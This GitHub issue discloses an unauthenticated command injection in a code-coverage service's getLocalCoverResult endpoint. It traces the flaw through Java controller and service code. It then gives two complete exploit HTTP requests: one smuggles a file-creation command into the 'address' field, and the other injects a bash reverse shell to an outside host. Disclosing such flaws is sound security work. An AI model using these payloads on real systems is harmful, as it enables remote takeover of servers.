Skip to content

Unauthorized attackers can execute any command with getLocalCoverResult Interface #51

@gaogaostone

Description

@gaogaostone

When accessing the getLocalCoverResult Interface with special request, unauthorized attackers can execute any command on the target system.

Code Analyzing

  1. The function getEnvLocalCoverResult in file CodeCovController.java handles the request for getLocalCoverResult. And it calls codeCovService.getLocalCoverResult.
    /**
     * 手动获取env增量代码覆盖率,代码部署和覆盖率服务在同一机器上,可直接读取本机源码和本机class文件
     *
     * @return
     */
    @RequestMapping(value = "/getLocalCoverResult", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_UTF8_VALUE)
    @ResponseBody
    public HttpResult<CoverResult> getEnvLocalCoverResult(@RequestBody @Valid LocalHostRequestParam localHostRequestParam) {

        return HttpResult.success(codeCovService.getLocalCoverResult(localHostRequestParam));

    }
  1. The function getLocalCoverResult in file CodeCovServiceImpl.java calls the pullExecFile function.
    @Override
    public CoverResult getLocalCoverResult(LocalHostRequestParam localHostRequestParam) {
        //path 处理
        localHostRequestParam.setBasePath(localHostRequestParam.getBasePath().endsWith("/") ? localHostRequestParam.getBasePath() : (localHostRequestParam.getBasePath() + "/"));
        localHostRequestParam.setNowPath(localHostRequestParam.getNowPath().endsWith("/") ? localHostRequestParam.getNowPath() : (localHostRequestParam.getNowPath() + "/"));
        //1、计算增量代码
        String diffFiles = diffMethodsCalculator.executeDiffMethodsForEnv(localHostRequestParam.getBasePath(), localHostRequestParam.getNowPath(), localHostRequestParam.getBaseVersion(), localHostRequestParam.getNowVersion());
        CoverResult result = new CoverResult();
        if (diffFiles == null) {
            result.setCoverStatus(-1);
            result.setLineCoverage(-1);
            result.setBranchCoverage(-1);
            result.setErrMsg("未检测到增量代码");
            return result;
        }
        //2、拉取jacoco.exec文件并解析
        if (StringUtils.isEmpty(localHostRequestParam.getAddress())) {
            localHostRequestParam.setAddress("127.0.0.1");
        }
        CoverResult coverResult = pullExecFile(localHostRequestParam, diffFiles, localHostRequestParam.getSubModule());
        //3、tomcat整合
        //todo
        return coverResult;
    }
  1. In the function pullExecFile, it has command combinations with paramters localHostRequestParam.getNowPath()localHostRequestParam.getAddress()localHostRequestParam.getPort().
    image

Proof of Concept

Attacker can inject command in the parameter address. The request with file creation and results are as following.
The following conditions should be satisfied:

  1. the parameter basePath and nowPath need to be the local paths where the Git repository is stored.
  2. the parameter baseVersion and nowVersion need to be two version numbers from the repository, with new Java files added between these versions.

With above conditions satisfied, although the response message may return an error saying 'Failed to pull the executable file,' the command still executes successfully.

POST /cov/getLocalCoverResult HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 402


{
    "address":"127.0.0.1 || touch /tmp/superjacoco000456789 ||",
    "port":8899,
		"subModule":"/etc/passwd",
    "classFilePath":"127.0.0.1",
    "basePath":"/tmp/gitlab_workdir1/",
    "nowPath":"/tmp/gitlab_workdir2/",
"uuid":"123",
"gitUrl":"127.0.0.1",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}

image
image

The payload with reverse shell and execution results are as following.

POST /cov/getLocalCoverResult HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 414


{
    "address":"127.0.0.1 || bash -i >& /dev/tcp/x.x.x.x/9333 0>&1 ||",
    "port":8899,
		"subModule":"/etc/passwd",
    "classFilePath":"127.0.0.1",
    "basePath":"/tmp/gitlab_workdir1/",
    "nowPath":"/tmp/gitlab_workdir2/",
"uuid":"123",
"gitUrl":"127.0.0.1",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}

image
image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions